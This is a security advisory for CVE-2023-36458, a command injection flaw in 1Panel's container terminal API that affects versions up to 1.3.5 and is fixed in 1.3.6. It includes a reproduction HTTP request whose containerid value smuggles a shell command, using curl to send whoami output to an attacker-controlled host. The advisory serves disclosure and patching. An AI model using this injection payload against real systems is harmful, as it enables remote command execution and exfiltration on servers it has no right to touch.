Launch Week Day 1: Announcing Security Design Review
MEDIUM 6.3 Go

1Panel vulnerable to command injection when entering the container terminal

GHSA-7x2c-fgx6-xf9h · CVE-2023-36458 · GO-2023-1888

Published · Modified

Description

Impact

The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal.

  1. Vulnerability analysis.
backend\app\api\v1\terminal.go#ContainerWsSsh

image

  1. vulnerability reproduction.
GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://192.168.109.152:40982
Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ==
Connection: keep-alive, Upgrade
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
  1. The successful execution of system commands.
    image

Affected versions: <= 1.3.5

Patches

The vulnerability has been fixed in v1.3.6.

Workarounds

It is recommended to upgrade the version to v1.3.6.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/1Panel-dev/1Panel
Email us at wanghe@fit2cloud.com

Ready to move

Start Securing

Free, no credit card | First findings in minutes